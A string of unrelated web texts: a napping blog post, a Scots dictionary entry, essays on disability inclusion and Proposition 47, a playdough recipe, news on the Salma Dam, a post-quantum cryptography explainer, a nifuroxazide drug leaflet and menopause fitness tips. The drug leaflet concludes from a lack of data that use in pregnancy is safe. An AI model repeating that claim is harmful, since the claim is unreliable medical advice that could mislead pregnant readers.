Recently, I found out that Chris Lema, one of my favorite bloggers has a daily 45-50 minute nap routine. Not only was I surprised that he does, I was more surprised that he would readily admit it.
So many executives or high-achieving people feel that they need to cut corners on their sleep in order to seize the day. That can sadly lead to ailments of all sorts, both physical and mental.
But it’s not just high achievers. A large cross-section of society is also struggling without adequate sleep. Here are the top 4:
- Home Health Aides
- Police Officers
- Physicians and Paramedics
You probably know a few people in such jobs, right?
Those are not the people who should be driving and making decisions on your behalf while sleep-deprived.
Making it a Habit
We often think of going away on vacation as the time we catch up on rest and relaxation. Wouldn’t it be better to get rest as a regular part of our lives?
Balancing work, family, and time for ourselves is always a challenge. Why wait until you’re at a breaking point to do something about it?
The world gives us accolades for looking like we can continually expend our time, our energy and our resources. But there are consequences.
Sleep, is part of the equation for health, which is the foundation for everything.
Naps, Approved and Encouraged
During the workday, some people take naps in their cars. Now they don’t have to, depending on who they work for.
I was pleasantly surprised when I saw that a past client provides their employees nap rooms in all their office office locations.
In one office, they even had a comfy couch right in the break room, and I saw a woman was napping away.
This used to be something that you could find in “cool” tech companies. I’m glad to see that this becoming more mainstream.
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Scottish National Dictionary (1700–)
About this entry:
First published 1956 (SND Vol. IV). Includes material from the 1976 and 2005 supplements.
1. Sc. usages in phrs.: (1) to gee (jow) one's ginger, to bestir oneself, see Jee and Jow; (2) to warm someone's ginger, to give someone a thrashing (m.Lth.1 1954).(2) Sc. 1900 E.D.D.:
A mother might warn her child, “Tak care or I'll warm yer ginger.”
2. See quot. and Billion. Poss. so-called from their similarity to the rhizomes of ginger. Ayr. 1896 Trans. Inv. Scientific Soc. V. 103:
Those curious concretions called crackers or fairy stones. . . . In the stratified muds and clays they appear as if they had been turned in a lathe, the outcropping of the layers forming so many "heads", and are then called "gingers."
3. A fizzy soft drink (of any flavour) (Edb., Gsw., Ayr., Dmf. 2000s).Gsw. 1984 James Kelman The Busconductor Hines 32:
Christ sake man, transistor radios playing, drinking bottles of ginger, the place stowed out with folk chatting about football and everything.Gsw. 1985 Michael Munro The Patter 29:
ginger A general term for all varieties of fizzy soft drinks: 'Gie's a boatle a ginger, missis,' 'What kinna ginger, son?' 'Lemonade.'Gsw. 1989:
Get us a boattle o ginger when ye're doon it the shoap - American cream soda.Gsw. 1990 Alan Spence The Magic Flute (1991) 18:
'Can I finish that ginger?' he said, pointing at a cola bottle, almost empty, on the sideboard.m.Lth. 1992:
I always asked for ginger even before yer granma came on the scene.Gsw. 1993 Herald (12 Mar) 14:
We asked the nice French waitress what kind of ginger it was. "Fresh ginger," she said. We said that we assumed it was a fresh bottle of ginger but was it cream soda, limeade, Irn Bru or what?m.Sc. 1994 Martin Bowman and Bill Findlay Forever Yours, Marie-Lou 36:
It's true ah shouldnae drink...But what the fuck else pleasure dae ah hiv left in ma life? Nae wey ah'm gauntae the bar jist tae drink ginger!Gsw. 1998 Herald (11 Jul) 26:
You do not equate the French with TV dinners, microwaves, bottles of ginger and fish suppers.Sc. 1999 Herald (30 Sep) 9:
Head brewer Robin Graham said: "In Glasgow, before the war, all the shops used to brew their own ginger beer. That's why you still get wee boys going in for a bottle of lemonade and asking for a bottle of ginger."
[Phr. 1. (1) seems to originate in the use of ginger, purely for alliteration, and then taken as a synonym for the behind, posterior. Hence phr. 1. (2).]
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"to belonging" is a long-term project driven by tbd* that aims to change the discourse around diversity and inclusion to one of belonging. Anti-racism, feminism and equity will be the focus of our work and should lead to a radical systemic change in the impact sector, from "power over" and "power for" to "power with". This content series is a part of this project and is made possible by the Open Society Foundations.
The Open Society Foundations are the world’s largest private funder of independent groups working for justice, democratic governance, and human rights. Founded in 1984 by George Soros, the Foundations have grown into a global network working on issues from minority rights to access to health care and women’s rights. Throughout its history, Open Society has responded rapidly with innovative programs to address social, political, and economic change. Sarah is a fundamental part of the Diversity, Equity and Inclusion Team at OSF and leads on Disability Inclusion as well as being a trainer/ educator for staff around the world.
When the pandemic hit the globe in early 2020, many organizations and educational institutions were forced to shift to remote work and learning within a matter of weeks. Some managed to do this quite smoothly, others are still figuring it out months later. This shift to flexible working is something disabled people know well. (I use the term “disabled people” intentionally to highlight the social model of disability. ”People with disabilities” is also widely used.) We often have to adjust and modify our work environments quickly, especially when workspaces are often not designed for us.
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In July 2019, the Open Society Human Resources Diversity, Equity, and Inclusion team brought me on board to fulfill their strategic theme of disability inclusion. What began with the launch of a Global Workplace Accommodations Policy (to ensure we are meeting national and international standards) has expanded to a more holistic approach of disability inclusion. We have worked collaboratively with the Open Society Disability Inclusion Working Group, the Operations Management Group, and several programs across the network, such as the Human Rights Initiative, the Public Health Program, and the Open Society Justice Initiative, to refine our organizational approach to disability, and better support all staff as they seek to contribute their best work.
This year, we mark the 30th anniversary of the Americans with Disabilities Act (ADA). While this Act remains a vital piece of legislation that has paved the way for fair treatment of people with disabilities in the workplace, it is framed as a reactive law, one that is based in a bio-medical frame of assistance. It uses the language of impairment and limitation, and albeit extremely useful, it does not give us the whole story of what is necessary. One can find similar legislation across the globe, such as the UK Equality Act of 2010.
Here are four ways of working together that I think are necessary to create dialogue around disability beyond legal definitions, allowing us to work towards more inclusive workspaces.
1. Accept that mistakes happen and use them to create a space for open and honest dialogue.
Too many organizations make the assumption that disability inclusion is already embedded in their culture; they are not intentional about embracing people’s different and unique lived experiences. This belief can stifle real growth needed to create inclusion, preventing good dialogue from taking place since people are worried about saying the wrong thing. This is especially true when it comes to talking about disability. Disability is often seen as “wrong”—we must feel sorry for people with disabilities. This stops conversations from happening because of our fear of isolating and offending. When we instead invite open and honest dialogue, and give permission to fail, we focus on how to respond when mistakes are made. This is how culture change happens.
2. Invite stories.
When we control own social narrative, we become empowered to take control of our own story. Through programming and events, virtual campaigns, and everyday sound bites from staff and our wider community of grantees, we begin to see people with disabilities as whole beings. We can move away from a place of deficits, and instead see opportunities for growth and understanding. Yet, stories can only be shared when it feels comfortable to do so, when there is no fear of being treated differently or less than – and to do this we must first normalize disability in all its incarnations.
Disability is one of the most flexible identities in the world. Any one of us could suddenly become disabled. I was born with several chronic health issues that will forever cause me discomfort – but I didn’t identify as disabled until about 15 years ago because I did not think the term applied to me. When I started to lose my hearing eight years ago, although I already felt aligned with a disability identity, I was becoming more disabled by my environment. The world was not set up to accommodate hard of hearing and d/Deaf people. I often challenge people to be uncomfortable when they think of disability. Disability is the most common, marginalized identity in the world, especially when you factor in mental health fluctuations. Since it affects such a large portion of our world, how is it that we find it difficult to normalize?
4. It is about everyone.
While I would love to just wave a magic wand, this work cannot be achieved by one team or in a silo. The Human Resources Diversity, Equity, and Inclusion team will be the glue that holds it all together, but in reality, this work has to be embedded in every aspect of our organization. We have begun to collaborate with programs on our grant making side to pilot proactive mental health practices that give staff networks of peer support and creative resource development. Our operational units have established disability inclusion as one of their strategic objectives. We will be working with Global IT to roll out a new set of assistive software to all employees who need it. We are connecting with our Smart Meeting Management & Resource Tools team in Finance to create a network of accessible venue spaces. We are partnering with the Global Security team to build accessible practices into our Hostile Emergency Awareness Training. And we are working with Communications to include inclusive terminology in our Editorial Style Guide.
The road towards disability inclusion is long, and as the ADA turns thirty, we see how limited this law is. It has language that still portrays disabled people as limited beings, in need of charity. If we see this Act as the beginning, we look to the UN Convention on the Rights of Persons with Disabilities as the future. We can start to envision a world in which flexibility and accessible policies, structures, and design become common practice.
The UN Convention, which was ratified in 2008, is one of the most progressive documents written on disability rights in the world. It shifts us away from charity models and towards a world that views people with disabilities as rights holders with the ability to make informed decisions about their lives. It allows us to normalize disability, and when we do this, we see all the possibilities. It opens up higher productivity and, most importantly, it creates the opportunity for all of us to bring our whole selves to the workplace.
During this time of COVID-19, we must remember that people with disabilities, along with many other marginalized identities, have been disproportionately affected. As organizations contemplate how to return to the office, I encourage us all to think about how different the workplace could look and how much more accessible we can be for people with disabilities. As difficult as this time has been globally, this pandemic offers us a unique opportunity in the creation of inclusive workspaces.
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This fund was established in 1999 by the F.A.O. Schwarz Family Foundation to support the publishing of the Museum Bulletin.
The Bulletin of the Florida Museum of Natural History was established to provide an outlet for longer scientific manuscripts. It began in 1956 as the Bulletin of the Florida State Museum, Biological Sciences Series. In 1990, Volume 35, the title was changed to Bulletin of the Florida Museum of Natural History, Biological Sciences Series, and in 1995, Volume 37, it became simply the Bulletin of the Florida Museum of Natural History.
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If this brief statement by Thallus refers to Jesus’ crucifixion we can ascertain that
(1) the Christian gospel, or at least an account of the crucifixion, was known in the Mediterranean region by the middle of the first century AD. This brings to mind the presence of Christian teachings in Rome mentioned by Tacitus and by Suetonius. (2) There was a widespread darkness in the land, implied to have taken place during Jesus’ crucifixion. (3) Unbelievers offered rationalistic explanations for certain Christian teachings or for supernatural claims not long after their initial proclamation, a point to which we will return below. | <urn:uuid:739681d8-5218-4385-80da-d319f10b0e17> | CC-MAIN-2022-33 | https://www.ellopos.com/blog/3297/life-of-jesus-ancient-non-christian-sources/26/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573744.90/warc/CC-MAIN-20220819161440-20220819191440-00465.warc.gz | en | 0.944793 | 131 | 2.9375 | 3 |
eating playdough? I don’t actually suggest EATING it, but the point is that you COULD!
Now I know that Playdoh (from the store), is labeled as non-toxic, but I wouldn’t suggest eating it! Would you? A United States patent indicates it is composed of water, a starch-based binder, a retrogradation inhibitor, salt, lubricant, surfactant, preservative, hardener, humectant, fragrance, and color. A petroleumadditive gives the compound a smooth feel, and borax prevents mold from developing. That does NOT sound delicious, or consumable at all! Not to mention, if you leave the cap off, or even just cracked a smidge…it’s garbage. Instant odd-shaped marbles!
*Fun Fact: When the original inventors designed the Playdoh modeling clay it was intended to be used as wallpaper cleaner.
Homemade playdough, on the other hand, is made with just a few basic ingredients that you most likely have in your kitchen. The only thing you might not have is cream of tartar. You can get it in the spice aisle, and I make enough homemade playdough that I just make sure to have some on-hand. My kids LOVE playing with it! Even my older kids! HECK! Even I like to sit down and play when they get it out! It’s kind of soothing and mesmerizing! Don’t believe me? Try it!
So what does playdough have to do with health and/or fitness? Well, here is how I’m tying this all together! I have made an observation throughout the years that sometimes in order for me to find some ME time, I have to set the kids up with something FUN for them to do that will keep them busy for 30-60 minutes – just enough time for me to get in my workout! Homemade playdough is one of those things that keeps them occupied long enough for me to do my workout. I get out all of the cutting tools, rollers and toys, spread it all out on the table and let them go to work. So THERE…that’s how playdough is health/fitness related! Works for me!
This is my go-to recipe! And even though it feels like winter, it’s still technically fall, so a pumpkin-spiced dough recipe works just fine! But feel free to experiment and try other varieties! Christmas cookie (vanilla/nutmeg)? Peppermint candy (peppermint extract & red food coloring)?
To store, just pop it into a ziploc bag, and keep in the refrigerator for MONTHS! 🙂
Pumpkin Spice Playdough Recipe
- 1 cup flour
- 1 cup water
- 1/4 cup of salt (a little more if you use kosher)
- 1 tablespoon coconut oil*
- 2 teaspoons cream of tartar
- 2 teaspoons pumpkin pie spice (or a mix of cinnamon/nutmeg/cloves)
- optional: food coloring or natural food based dyes (such as beet juice and turmeric)
- Combine all ingredients (except food coloring) in a large pot.
- Stir over medium heat until a big ball forms. (It should be smooth and no longer sticky.)
- Remove from the pot and allow to cool until the dough can be worked by hand.
- Divide the dough into however many different colors you want.
- Work the colors into the dough by adding a few drops at a time and kneading. (We used red and yellow to make orange but you can just leave it as is. Other colors could be achieved with natural juices: beet, carrot, turmeric.)
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Lydia, one of the recipients, is the oldest of seven daughters. Three years ago, her father died and her mother passed away last year. Lydia was left to take care of her siblings, but she cannot afford the fees to send them to school. She is continuing her education to be able to help her siblings.
Markus lost his mother a few years ago and helps to take care of the family. Because of a bandit attack, the family was unable to access their farm produce this year. He is studying to have a chance to earn a living. Sabastine is a brilliant student but was about to stop her education because her family could not financially support her education. The scholarship allowed her to take part in the skills development program.
After the students finish their education, the center has a job service office that will help them make good career choices. They will develop a plan, receive assistance applying and interviewing for jobs, and then transition into the workforce. The job service office will monitor their progress and assess them going forward to see their success.
“Salesian technical and vocational education centers help youth gain the skills for employment,” said Father Gus Baek, director of Salesian Missions. “Providing scholarships enables poor and unfortunate youth to be able to attend school and later find long-term, stable employment. This, in turn, helps their families and communities.”
Salesian missionaries arrived in Koko in 2014 and began developing pastoral programs. This opened up other avenues to serve the local population and the Don Bosco Vocational Training Center was opened in October 2021. The center has four departments including electrical building and construction, fashion and design, and computers. Students take six-month long courses. Currently, there are 154 students, mostly from poor families who would like their children to be enrolled in the training offered.
According to UNICEF, Nigeria is Africa’s most populous country and the ninth most populous country in the world. By United Nations estimates, Nigeria will be one of the countries responsible for most of the world’s total population increase by 2050. While Nigeria has the second strongest economy in Africa, it also has extreme rates of poverty with 100 million people living on less than $1 a day.
About 64 percent of households in Nigeria consider themselves to be poor while 32 percent of households say their economic situation had worsened over a period of one year, according to UNICEF. Poverty still remains one of the most critical challenges facing the country and population growth rates have meant a steady increase in the number of people living in conditions of poverty.
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What change can one person bring? Correction: What change can one woman bring? Hamsini is one such woman who can and did bring change and made a difference, a difference that few stalwarts in the coffee world would be able to emulate.
Married into a coffee planter’s family, Hamsini had a background in financial management. She had earlier worked in a stock-broking firm, managing investments and building portfolios; planning for the long term.
She put this talent to good use when she became a homemaker, living on the plantation for 4 years. As early as 1998, while the menfolk would be busy with planting, harvesting and selling the coffee to coffee brokers, she put her data management skills to use in an unusual direction. She started collecting data on the various fields, mapping their yield, analysing their short-term as well as long-term performance, and predicting where the best yield was likely to be. However, despite her efforts and predictions, all the coffee from the various plantations was still being sold to brokers and traders.
Hamsini’s dream was to bring their carefully nurtured coffee out of the oblivion and anonymity of bulk-traded coffee and give it an identity of its own. A few years ago, with encouragement from Mrs Sunalini Menon, she stepped into uncharted territory. No one in the extended family had ventured beyond established trading relationships. Hamsini travelled to Australia and built a partnership with “Five Senses”. After the visit, she was even more determined and convinced that she would succeed in marketing and branding the coffee. Once again, she relied on her computer and data management skills, but this time she extended the analysis to taste profiles. It also meant doing things differently on the ground, and processing various blocks differently.
The possibility that Hamsini saw resulted in the emergence of four different brands of coffee. Today, their coffee is sold in Australia, Korea and Germany under the brand names Veer Attikan, Mountain Trishul, Mountain Ganga and Mountain Vana. Today, Indian coffees have gained recognition in the world market, but this has happened only because women like Hamsini have been bold enough to make a change. A big step for her as an individual and a shift in mindset for her family resulted in recognition and pride on a world platform.
Today, she has buyers knocking on her door, booking the coffee months in advance. Some return with less than they had hoped for. With the additional revenue, Hamsini can plan to set up a roasting and blending unit. But it is education for the girl children on the farms that tugs at her heart. She sees their happy little faces, content with living in isolation, happy to let their brothers go to school while they stay at home and do the housework, the way it has always been. This has to change, thinks Hamsini. And knowing Hamsini, I am sure it will! | <urn:uuid:2cdab4e5-3c5c-472a-a37e-9ff60cbad9b3> | CC-MAIN-2022-33 | http://womenincoffee.weebly.com/blog/change-the-story-of-hamsini-appadurai-by-urvashi-malhotra | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572833.95/warc/CC-MAIN-20220817032054-20220817062054-00465.warc.gz | en | 0.980096 | 615 | 1.554688 | 2 |
Afghan President Ashraf Ghani and India's Prime Minister Narendra Modi on Saturday officially inaugurated Salma Dam - the multi-million dollar hydroelectric project - in Herat.
The dam was built and funded by India at a cost of $300 million USD.
Located in the Chesth-e-Sharif district, the hydroelectric project, which is on the Hari Rud river, is expected to benefit hundreds of thousands of families in four districts of the province, by providing them with electricity and irrigation water.
Experts meanwhile stand firm that if government undertakes such big hydro-electric dam construction projects, they will not only benefit the country economically but will also help create jobs for the people.
The dam, which is 20 km in length and three kilometers in width, has a water storage capacity of 640 million cubic meters. This will be utilized to generate 43 megawatts of electricity for 40,000 families and will irrigate 80,000 hectares of farmland, belonging to 50,000 families.
In welcoming Modi to the ceremony in Herat on Saturday, Ghani voiced his "profound gratitude to you, to the compassionate people and competent government of India."
He said that with India's help, a dream stretching back 40 years was realized on Saturday.
He went on to thank India for completing the Salma Dam, also known as the Friendship Dam, and praised security forces for ensuring security.
"Afghanistan and India have a long and continued relations and today millions of ties bind our nations together," he said.
He said Herat is the cradle of culture, knowledge, wisdom and civilization and that the "assistance of people and government of India in constructing this splendid dam restitutes the ancient ties" of the two countries.
"We can partake in spreading hope, light and sincerity, not fear, intimidation and ignorance," he said.
"We are immensely thankful to India for presenting a new model whose essence is constructiveness, cooperation and participation. Today the name of India in our country and region brings back sweet, historic and cherished memories."
Ghani stated that in addition, India has completed over 200 other small and big projects for Afghanistan and that through scholarship assistance by India, over 17,000 Afghan youth were able to acquire an education.
He said that with the inauguration of the Afghan-Indian Friendship Dam, the first generation of large Indian assisted projects is completed.
"Our hope is to see at the right moment the launch of the second generation of such large and sustainable projects."
"Afghanistan will not be stopped here. We are determined to move forward despite the challenges and difficulties," he said.
He also said however that he wants to "give the good news to my people that the Afghan-Indian Friendship Dam is prologue to construction of many dams".
Directly following Ghani's speech, the two leaders together hit the button to kickstart the giant turbines at the Salma Dam. Immediately, the sluice gates opened and water started flowing. At the same time, workers at the dam released colorful balloons into the air in celebration of the historic moment.
Addressing guests at the event following the start of the hydroelectric project, Modi said was humbled by the generosity of Afghans and that this moment had been a very emotional one not only for Afghans but also for Indians.
Modi said the project will not only supply water to 560 villages in Herat but it will also provide electricity to 250,000 homes in the province.
Modi said Afghans envisioned the project in 1970 but war and conflict not only damaged the country but also damaged a generation.
But he said that war will not stop the dreams of Afghans from happening
He went on to say that Afghans have chosen the way of peace and negotiation with those who have tried to destabilize the country with the support of others.
He said that his country's support will not be limited to Kabul, Kandahar & Herat in future but it will be expanded to include entire country.
He did however call on Afghans to live together in peace; saying that the division among them will benefit others.
Modi said Afghanistan's success is the hope of every Indian. "We want your improvement in economy, security and other sectors."
He added that "we see others doubt in your future but your will is strong and you will reach your dreams".
The dam was originally built in western Herat province in 1976 before being damaged during the civil wars of the 1990s but has now been rebuilt by some 1,500 Indian and Afghan engineers. In 2006, India committed to funding the completion of the Salma Dam.
India has poured more than $2 billion into Afghanistan reconstruction projects and humanitarian aid, making it one of the largest donors to the war-torn country.
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Fortunately, this new computer does not mean the end of security related to our credit cards, and more generally digital security. There are indeed difficult problems even for a quantum computer. Post-quantum cryptography precisely proposes to study and exploit them in order to ensure our digital security of tomorrow!
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Cup, algorithms and cryptography
Our lives today are punctuated by computers. The reason for the success of these modern machines is quite simple: they help us quickly solve many everyday problems. For example, given a road or geographic map, how do you find the shortest way to get from point A to point B? The answer is ultimately quite simple: let’s ask our smartphone the question! These little computers can calculate “all” possible paths very quickly and therefore respond to us instantly. From then on, it is only a step away from thinking that our companions can solve almost any imaginable problem…
Unfortunately, it is not. Computers are even extremely quickly limited. Take a cup of coffee falling from our hand one morning. Will our smartphone be able to predict how many pieces our favorite cup will break into? The task seems difficult, even with a dedicated application. Indeed, carrying out such a simulation would require far too much time from our telephone and even a supercomputer would not be enough: the number of dimensions involved in this problem is far too high.
Nor is the solution to be sought in technological development. Even if we exceed the expectations of the famous Moore’s Law (which predicts a doubling of our computing power every two years), we would still have to wait hundreds of years before being able to give a satisfactory answer to our problem. Conversely, we have a simple way to answer it without resorting to technology: just bend down and count the pieces. An exercise certainly tedious, but which seems in our cords…
This cup metaphor is inspired by a video by Richard BorcherdsFields Medal, in response to recent announcements of quantum supremacy, ie the performance by a quantum computer of a task inaccessible to a classical computer (which we will discuss a little later).
However, the fact that there are problems that a computer, and even all terrestrial computers put together, cannot solve in a reasonable time is the founding principle of much of modern cryptography, science secrecy allowing us digital security. There are plenty of problems that are presumed to fall into this category, the most famous in cryptography being the so-called factorization of integers and discrete logarithm. A whole section of digital security is based on their difficulty, such as credit cards, our software updates, etc.
The Pitfall of Quantum Computers
Unfortunately, advances in quantum physics suggest the arrival of a new tool that could upset the established order: the quantum computer. This “new generation” computer, having little to do with our computers, would work by replacing bits, those 0s and 1s that constitute the universal language of all machines around the globe, by qubitsobjects resulting from the principles of quantum physics and which represent both a 0 and a 1 in “superposition”.
>> VIDEO: What is a quantum computer?
This fundamental difference offers powerful new algorithmic possibilities, as demonstrated by P. Shor in 1994, by proving that a working quantum computer (i.e. a set of qubits on which one would be able to perform a certain number of predefined operations) was able to solve the problems of factorization and logarithm discrete far more effectively than a conventional computer ever could. Goodbye our credit cards! Since then, other areas where quantum computers could prove revolutionary have been discovered, more positively this time. This is for example the case of chemistry where quantum calculation could make it possible to improve the modeling of the states of a molecule.
Today, we are still far from having a working quantum computer : these famous qubits are difficult to handle and the road is still long both theoretically and practically. The announcements of quantum supremacy we were talking about earlier, i.e. performing a task with a quantum computer that is beyond the reach of our everyday computers, were actually about problems that had been specially designed for the very purpose of being easier for a quantum computer than for a classical computer. The promising applications of quantum computers, for example breaking our digital security, remain for the moment beyond the reach of the most advanced actors.
The efforts invested in the pursuit of quantum supremacy are, however, up to the task, and a real race is launched between the big players in the field, such as Google or IBM. The threat is therefore not to be taken lightly for cryptographers: we could well see the arrival of a functional quantum computer within ten years.
“So is this the end of cryptography? we might then ask ourselves. Fortunately, the answer to this question is probably no. Because just like classical computers, quantum computers are not all-powerful. This is precisely the postulate on which a new branch of cryptography is based: post-quantum cryptography. This aims to study new mathematical problems that would be hard both for classical computers, but also for quantum computers.
>> Read also: Cryptography challenged by quantum
Recently, the NIST, American standardization institute, launched a competition with the aim of identifying and standardize promising candidates. After several successive skimming rounds, the competition will soon come to an end and the announcement of the first solutions subject to standardization should fall in the coming months. From the multitude of initial proposals emerged several large families, the most notable of which are undoubtedly the cryptographies based on Euclidean networks and correcting codescombining efficiency, compactness and good experience of the underlying mathematical problems.
However, in both traditional and post-quantum cryptography, nothing is set in stone. We cannot exclude the possibility of seeing, tomorrow or in six months or a year, a group of individuals arrive with a new algorithm which would make it possible to break a problem on which post-quantum cryptography is based. We had proof of this recently with one of the finalist protocols in the NIST competition, the security of which has just been seriously questioned by a new attackproving that the digital security induced by such a system would not be guaranteed.
This is all the more true as post-quantum cryptography must guard against an even more serious threat: quantum computers themselves! But we are far from having understood all the possibilities of these new machines. This justifies the need to have fallback solutions and this is why other families of mathematical objects such as systems multivariate or isogenies are also closely studied.
In summary, establishing our future digital security still raises many questions! As illustrated by the NIST call, scientists are hard at work delivering solutions that are both safe and effective, ready to be deployed on our computers and smartphones within the next few years.
Article originally published on The Conversation France.
Thomas Debris Alazardis currently a researcher (researcher) at Inria Saclay in the GRACE project team. His work focuses on post-quantum cryptography and more particularly on the study of error-correcting codes and Euclidean networks.
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- International Name (active ingredient): Nifuroxazide
- Pharmacological group: Antidiarrheal drugs
Manufacturer: Bosniaaljek Bosnia
- Country: Bosnia
Issuing mode: Group II (without a prescription)
Nifuroxazide is a derivative of 5-nitrofuran, which is not absorbed from the gastrointestinal tract and has antimicrobial and antiparasitic action throughout the intestinal tract. Nifuroxazide is thought to trap bacteria and then kill intestinal infectious bacteria through the sodium-NO2 group. Gram-positive Streptococcus pyogenes and Staphylococcus pyogenes are particularly susceptible to nifuroxazide as well as gram-negative enterobacteria E. coli, Salmonellae and Shigellae, which cause diarrhea.
After oral administration, nifuroxazide is practically not absorbed from the gastrointestinal tract and its antimicrobial effects are manifested in the intestinal tract. Nifuroxazide does not penetrate into the organic system and tissues. It is fully excreted in the feces. The rate of expulsion depends on the amount of drug taken and the ability of the digestive tract to move. However, it can generally be said that the excretion is slow and nifuroxazide stays in the digestive tract for quite a long time.
- diarrhea caused by alimentary infections and intoxications in children and adults, in particular, caused by E. coli;
- Chronic diarrhea during colitis;
- Disruption of intestinal fermentation;
- Acute and chronic diarrhea of nonspecific and unknown etiology without invasive events;
- Iatrogenic diarrhea caused by taking antibiotics;
- Some cases of coagulopathy with specific bacteria.
- Symptomatic diarrhea with colorectal cancer;
- Prevention of traveler's diarrhea.
Adults and children over 6 years:
Take one capsule 3-4 times a day (200 mg 3-4 times, a total of 600-800 mg nifuroxazide per day).
- allergy to nitrofuran derivatives;
- Children under 6 years old.
Nifuroxazide is characterized by fairly good tolerability. Very rarely it can cause sensitization of the body and allergic reactions. Apart from the above, no other side effects have been described.
There are no data on whether taking nifuroxazide during pregnancy causes possible adverse effects on the fetus. Thus, the use of enterofuril during pregnancy is safe.
Nifuroxazide is not absorbed from the digestive tract and does not enter the systemic circulation. Thus there is no possibility of its excretion in breast milk. Therefore, the drug can be used during lactation.
Storage conditions and terms: Keep out of reach of children.
Shelf life: 3 years. The drug should not be used after the expiration date.
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It’s no secret that African-Americans are often punished more harshly when convicted of a crime than their white counterparts. This is especially true in California, where an overwhelming percentage of the prison population — over two thirds to be exact — is Black, according to 2015 data from the California Department of Corrections and Rehabilitation.
Stark racial disparities in imprisonment are what ultimately prompted California to pass the criminal justice reform measure known as Proposition 47 in 2014, which reduced the classification of half a dozen “nonserious and nonviolent property and drug crimes” from felonies to misdemeanors.
As a result, such crimes carried significantly lower prison sentences; millions of prisoners saw the red stain of conviction erased from their permanent records; and an estimated 13,000 inmates were released, according to Al Jazeera.
The passing of Prop 47 was considered groundbreaking, especially for Black Californians who are twice as likely to be charged and convicted of drug crimes. However, not everyone felt the feel-good effects of the measure.
Despite the proposition’s criminal justice reform efforts, the odds still seemed to be stacked against African-Americans caught in the system. A 2009 study showed that Black Americans in California were more likely to be charged with dealing drugs while white Californians were more likely to be charged with drug possession. Prop 47 only downgraded the charges for simple drug possession — not drug dealing, or possession with “intent to sell.”
So did the measure really do much to help African-Americans? It depends on who you ask.
“The judicial system is rigged against us,” said Donnie Anderson, a Black California man who was arrested and charged with transport/sale of a controlled substance after police showed up to a neighbor’s house where he and his friends were gambling. “If you (a white person) go to jail, and I have the same amount of drugs as you, my sentence is automatic state prison. Yours is go home.”
But Anderson didn’t have any drugs. He told Al Jazeera that his friends had drugs on them, but he didn’t — that’s why he didn’t flee. Because Anderson, who was just 19 at the time, had a large sum of cash on him from the gambling, police believed he was there selling drugs.
The news site reports that the teen ultimately took a plea deal of 60 days in county jail and three years probation for a felony that originally carried a sentence of up to 20 years and a fine of $20,000 dollars.
Because Prop 47 doesn’t cover drug dealing, it was of no help to Anderson. But others saw the passing of the ballot measure as a victory for the Black community and other communities of color that are disproportionately impacted by the criminal justice system.
“I’m almost certain that the declines in incarceration rates for racial and ethnic minorities have been larger than they have been for whites, simply because they’re so heavily over-represented in California’s institutional populations,” said Stephen Raphael, a public policy professor at the University of California Berkeley.
While Prop 47 did reduce incarceration rates, there are still a few complications within the measure that leaves loopholes for potential racial bias. For instance, Al Jazeera reports that under the proposition, possession with “intent to sell” is often left up to the discretion of the police officer and prosecutor. Such free judgment can leave room for discrimination.
“We don’t have proof of this, but what we feel like is happening is that the police are charging up to avoid prop 47, because it is discretionary,” said Lynne Lyman, a California state director at the Drug Policy Alliance who helped work on legislative predecessors to Prop 47. “Simple possession versus possession with intent is completely discretionary.”
“Unfortunately, that discretion ends up playing out largely along race lines, where people of color get intent to sell and white people get possession,” she added.
Now Lyman is putting her energy into another ballot measure: Prop 64 — which would legalize the recreational use of marijuana. The bill officially passed Tuesday, making thousands of inmates and former inmates with non-violent marijuana charges eligible to apply for release or to get the felony removed from their record, Al Jazeera reports.
Again, a large majority of people in jail for the possession or distribution of marijuana are Black or Latino.
“It’s so important for African Americans and Latinos to understand that this is for us,” said Anderson, who has since become an advocate for a space for Black Americans in California’s booming marijuana industry. “And it’s good for us.”
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“Menopause” – that word, so infrequently discussed almost as though it needs to be kept hush hush, yet is a significant part of ALL women’s lives. And no it’s not just that we stop menstruating, although many western doctors would tend to lead one to think that’s all it is.
One of my many pet peeves is the profoundly inadequate research and knowledge base for women’s specific health and training…from pre and postpartum protocols, to understanding hormonal cycles, debilitating syndromes, and how women in peri- and post- menopause manage a host of symptoms which are so often brushed off as “no big deal”. We can do better.
It is all a big deal and finally western science is beginning to do research based on the female physiology. Yes, most historical “athletic performance” data and health science has been done on men, outside of the realm of child birth.
Menopause is the final part of a decline in hormone production that can begin as early as our thirties and culminates usually mid forties to mid fifties for most women. The list of symptoms women can struggle with is massive.
After menopause when most hormone production has stopped, the list of increased health risks for women include and are not limited too: osteopenia and osteoporosis, insulin sensitivity, cardiovascular disease, muscle wasting, and anxiety and depression. Of course, this list is not exhaustive nor limited to women who are “unhealthy”.
So how do we stay healthy and have the energy to stay active and train? Our sleep is critical, nutrition needs shift and we need to commit to strength training and threshold training regularly or we lose muscle mass and slow down, and are unable to recover from what we see as regular activities. There are so many bullet points to share:
- Strength Train Regularly – you’ll also need adequate protein intake for recovery…
- Get .9-1.2g of protein per pound body weight daily, from a variety of protein sources. Complete protein is critical and specifically Leucine – which can be found in whey protein or a BCAA supplement.
- Get some intensity work in so you don’t slow down. Speed/Power work in the gym or your sport.
- Focus on getting plenty of sleep. Melatonin, Valerian Root, Tart Cherry Juice are just some options that can help.
- Stay hydrated (always).
- ..Of course, the list goes on. One fabulous resource for women of all ages and hormone phases is Stacy Simms book, Roar.
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Talk About Snail Mail: Calgary Woman Receives Letter from Sister 45 Years Late
Someone at Canada Post has some explaining to do…
Calgary’s Anne Tingle received a letter from her little sister recently – not exactly headline news except for the fact that the letter was mailed 45 years ago.
“The first thing I noticed, besides that it was a little bit torn, was that it had a six cent stamp on it. And then I looked it over and it was a 1969 postmark,” Tingle told the CBC. “It was from my sister, from when she was nine. She had come to be the ‘mother’s helper’ after my second baby was born. And it’s a thank-you letter. It starts with a poem.”
No one knows how the letter made it to Tingle, or who delivered it (though she did leave a forwarding address for mail at her old home) but they do know that the reason it didn’t make it almost half a century ago is because her sister, Esther Stringam, accidently put the wrong house number in the address.
“It’s incredible, it’s indescribable,” Stringam told CTV Calgary of the news her letter was finally delivered. “I’m blown away, it’s wonderful.”
Enclosed with the letter was a note from Canada Post apologizing for the damage done to the letter which, to Tingle, considering the context, is more than enough to make up for the lateness of the letter.
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New Evangelical Viewpoint ... 03
From Jerry Beavan, here is today's Evangelical Viewpoint—let's be frank—the mess (messes) in which we find ourselves today.
